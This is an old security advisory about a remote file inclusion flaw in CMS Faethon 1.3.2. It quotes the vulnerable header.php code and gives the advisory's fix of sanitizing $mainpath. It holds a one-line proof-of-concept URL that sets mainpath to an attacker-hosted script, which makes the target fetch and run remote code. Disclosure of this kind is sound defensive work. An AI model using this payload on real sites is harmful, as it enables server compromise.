CMS Faethon <= 1.3.2 (mainpath) Remote File Inclusion Vulnerability

2006-06-16 00:00:00

____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/

.OR.ID
ECHO_ADV_33$2006

---------------------------------------------------------------------------
[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion
---------------------------------------------------------------------------

Author : M.Hasran Addahroni a.k.a K-159
Date : June, 16th 2006
Location : Indonesia, Bali
Web : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMS Faethon

Application : CMS Faethon
version : 1.3.2
URL : http://cmsfaethon.com/
Description :

CMS Faethon is content management system for different web pages.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
include($mainpath . 'survey.php');
?>
<h2>RSS - cmsfaethon.com</h2>
<div class="rss-menu">
<?php
$source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
include($mainpath . 'rss-reader.php');
?>
...
----------------------------------------------------------

Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mainpath in header.php


---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ [email protected]
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

#

Fixes

No fixes

In order to submit a new fix you need to be registered.